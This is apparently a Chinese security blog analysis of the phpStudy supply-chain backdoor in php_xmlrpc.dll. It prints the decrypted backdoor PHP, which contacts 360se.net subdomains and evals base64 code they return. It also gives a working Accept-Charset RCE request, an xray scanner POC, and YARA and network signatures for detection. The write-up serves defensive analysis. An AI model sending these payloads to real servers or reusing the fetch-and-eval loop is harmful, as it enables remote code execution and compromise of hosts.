zoukankan      html  css  js  c++  java
  • PHPStudy后门事件分析

    PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击,程序包自带PHP的php_xmlrpc.dll模块隐藏有后门。经过分析除了有反向连接木马之外,还可以正向执行任意php代码。

    影响版本

    • Phpstudy 2016
    phpphp-5.2.17extphp_xmlrpc.dll
    phpphp-5.4.45extphp_xmlrpc.dll
    
    • Phpstudy 2018 的php-5.2.17、php-5.4.45
    PHPTutorialphpphp-5.2.17extphp_xmlrpc.dll
    PHPTutorialphpphp-5.4.45extphp_xmlrpc.dll
    

    分析过程

    • 1、定位特征字符串位置
    • 2、静态分析传参数据
    • 3、动态调试构造传参内容

    php_xmlrpc.dll

    PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。

    定位特征字符串位置

    根据@eval()这个代码执行函数定位到引用位置。@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码,中间%s格式符为字符串传参。函数地址为:0x100031F0

    图1:eval特征代码

    静态分析传参数据

    通过F5查看代码,分析代码流程,判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。

    第一部分,正向连接:判断ACCEPT_ENCODING如果等于gzip,deflate,读取ACCEPT_CHARSE的内容做base64解密,交给zend_eval_strings()函数可以执行任意恶意代码。

    构造HTTP头,把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。

    GET /index.php HTTP/1.1
    Host: 192.168.221.128
    …..
    Accept-Encoding: gzip,deflate
    Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
    ….
    
    

    第二部分,反向连接:判断ACCEPT_ENCODING如果等于compress,gzip,通过关键部分@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码,然后调用gzuncompress方法执行解密。

    构造HTTP头,把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。

    GET /index.php HTTP/1.1
    Host: 192.168.221.128
    …..
    Accept-Encoding:compress,gzip
    ….
    

    图2:第1部分流程判断代码

    图3:第2部分流程判断代码

    这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密:

    @ini_set("display_errors","0");
    error_reporting(0);
    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
        $result = "";
      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 
      if( !$handle ){
        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
        if( !$handle ){
            return "err";
        }
      }
      fwrite($handle, $sendMsg."
    ");
        while(!feof($handle)){
            stream_set_timeout($handle, 2);
            $result .= fread($handle, 1024);
            $info = stream_get_meta_data($handle);
            if ($info['timed_out']) {
              break;
            }
         }
      fclose($handle); 
      return $result; 
    }
     
    $ds = array("www","bbs","cms","down","up","file","ftp");
    $ps = array("20123","40125","8080","80","53");
    $n = false;
    do {
        $n = false;
        foreach ($ds as $d){
            $b = false;
            foreach ($ps as $p){
                $result = tcpGet($i,$d.".360se.net",$p); 
                if ($result != "err"){
                    $b =true;
                    break;
                }
            }
            if ($b)break;
        }
        $info = explode("<^>",$result);
        if (count($info)==4){
            if (strpos($info[3],"/*Onemore*/") !== false){
                $info[3] = str_replace("/*Onemore*/","",$info[3]);
                $n=true;
            }
            @eval(base64_decode($info[3]));
        }
    }while($n);
    

    从1000D028 到1000D66C的代码解密:

    @ini_set("display_errors","0");
    error_reporting(0);
    $h = $_SERVER['HTTP_HOST'];
    $p = $_SERVER['SERVER_PORT'];
    $fp = fsockopen($h, $p, $errno, $errstr, 5);
    if (!$fp) {
    } else {
        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1
    ";
        $out .= "Host: {$h}
    ";
        $out .= "Accept-Encoding: compress,gzip
    ";
        $out .= "Connection: Close
    
    ";
     
        fwrite($fp, $out);
        fclose($fp);
    }
    

    动态调试构造传参内容

    OD动态调试传参值需要对httpd.exe进程进行附加调试,phpstudy启用的httpd进程有两个。一个是带有参数的,一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。

    根据前面IDA静态分析得到的后门函数地址,OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块,在DLL空间里定位后门函数地址0x100031F0,可能还需要手动修改偏移后下断点。使用burpsuite,构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。

    图4:OD动态调试Payload

    PHP脚本后门分析

    脚本一功能:使用fsockopen模拟GET发包

    @ini_set("display_errors","0");
    error_reporting(0);
    $h = $_SERVER['HTTP_HOST'];
    $p = $_SERVER['SERVER_PORT'];
    $fp = fsockopen($h, $p, $errno, $errstr, 5);
    if (!$fp) {
    } else {
        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1
    ";
        $out .= "Host: {$h}
    ";
        $out .= "Accept-Encoding: compress,gzip
    ";
        $out .= "Connection: Close
    
    ";
     
        fwrite($fp, $out);
        fclose($fp);
    }
    

    脚本二功能:
    内置有域名表和端口表,批量遍历然后发送数据。注释如下:

    <?php
    @ini_set("display_errors","0");
    error_reporting(0);
    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
        $result = "";
        $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);  // 接收数据,每次过来一条数据就要连接一次
          if( !$handle ){
            $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);  //错误的时候就重连一次测试。
            if( !$handle ){
                return "err";
            }
        }
        fwrite($handle, $sendMsg."
    ");         // 模拟发送数据
        while(!feof($handle)){
            stream_set_timeout($handle, 2);
            $result .= fread($handle, 1024);   // 读取文件
            $info = stream_get_meta_data($handle);     // 超时则退出
            if ($info['timed_out']) {
                break;
            }
        }
        fclose($handle);
        return $result;
    }
    
    $ds = array("www","bbs","cms","down","up","file","ftp");   // 域名表
    $ps = array("20123","40125","8080","80","53");             // 端口表
    $n = false;
    do {
        $n = false;
        foreach ($ds as $d){                                   //遍历域名表
            $b = false;
            foreach ($ps as $p){                               // 遍历端口表
                $result = tcpGet($i,$d.".360se.net",$p);
                if ($result != "err"){
                    $b =true;
                    break;
                }
            }
            if ($b)break;
        }
        $info = explode("<^>",$result);
        if (count($info)==4){
            if (strpos($info[3],"/*Onemore*/") !== false){
                $info[3] = str_replace("/*Onemore*/","",$info[3]);
                $n=true;
            }
            @eval(base64_decode($info[3]));
        }
    }while($n);
    
    ?>
    
    

    POC

    熟悉原理后可根据执行流程构造执行任意代码的Payload:

    GET /index.php HTTP/1.1
    Host: 192.168.221.128
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Accept-Encoding:gzip,deflate
    Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
    Content-Length: 0
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    

    Payload:printf(md5(333));
    回显特征:310dcbbf4cce62f762a2aaa148d556bd

    图5:Payload回显验证

    漏洞验证插件

    漏洞插件采用长亭科技xray社区漏洞扫描器。虽然现今网络上好多放出来的批量poc,我还是觉得使用长亭的插件写poc,省了好多心力去考虑写各种代码,把主要精力专注到漏洞分析和写poc上。

    name: poc-yaml-phpstudy-backdoor-rce
    rules:
      - method: GET
        path: /index.php
        headers:
          Accept-Encoding: 'gzip,deflate'
          Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==
        follow_redirects: false
        expression: |
          body.bcontains(b'a5952fb670b54572bcec7440a554633e')
    detail:
      author: 17bdw
      Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
      vuln_url: "php_xmlrpc.dll"
      links:
        - https://www.freebuf.com/column/214946.html
    

    网络特征

    Accept-Encoding:gzip,deflate    少一个空格
    Accept-Charset:为Base64编码
    

    文件特征

    特征一、
    %s;@eval(%s('%s'));   25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27
    29 29 3B
    特征二、
    @eval(%s('%s'));     40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B
    
    
    rule PhpStudybackdoor
    {
    meta:
    filetype=" PhpStudybackdoor "
    description=" PhpStudybackdoor check"
    strings:
    $a1 = "@eval(%s('%s'));"
    $a2 =”%s;@eval(%s('%s'));”
    condition:
    any of ($a*)
    }
    
    

    受影响站点

    http://soft.onlinedown.net/soft/92421.htm
    http://www.opdown.com/soft/16803.html#download
    https://www.cr173.com/soft/433065.html
    http://www.smzy.com/smzy/down319529.html
    https://www.jb51.net/softs/601577.html
    http://www.mycodes.net/16/5051.htm
    http://www.3322.cc/soft/40663.html
    http://www.3h3.com/soft/131645.html
    http://www.downyi.com/downinfo/117446.html
    http://www.pc9.com/pc/info-4030.html
    https://www.newasp.net/soft/75029.html
    http://www.downxia.com/downinfo/153379.html
    https://www.33lc.com/soft/21053.html
    http://www.xfdown.com/soft/11170.html#xzdz
    http://www.wei2008.com/news/news/201817035.html
    http://www.188soft.com/soft/890860.html
    http://soft.onlinedown.net/soft/92421.htm 
    http://www.opdown.com/soft/16803.html#download 
    https://www.cr173.com/soft/433065.html 
    
    

    参考

  • 相关阅读:
    Educational Codeforces Round 83 --- F. AND Segments
    Educational Codeforces Round 83 --- G. Autocompletion
    SEERC 2019 A.Max or Min
    2019-2020 ICPC Southwestern European Regional Programming Contest(Gym 102501)
    Educational Codeforces Round 78 --- F. Cards
    今天我学习了一门全新的语言
    codeforces 1323D 题解(数学)
    Educational Codeforces Round 80 (Div. 2) 题解 1288A 1288B 1288C 1288D 1288E
    Educational Codeforces Round 81 (Div. 2) 题解 1295A 1295B 1295C 1295D 1295E 1295F
    Codeforces Round #617 (Div. 3) 题解 1296C 1296D 1296E 1296F
  • 原文地址:https://www.cnblogs.com/17bdw/p/11580409.html
Copyright © 2011-2022 走看看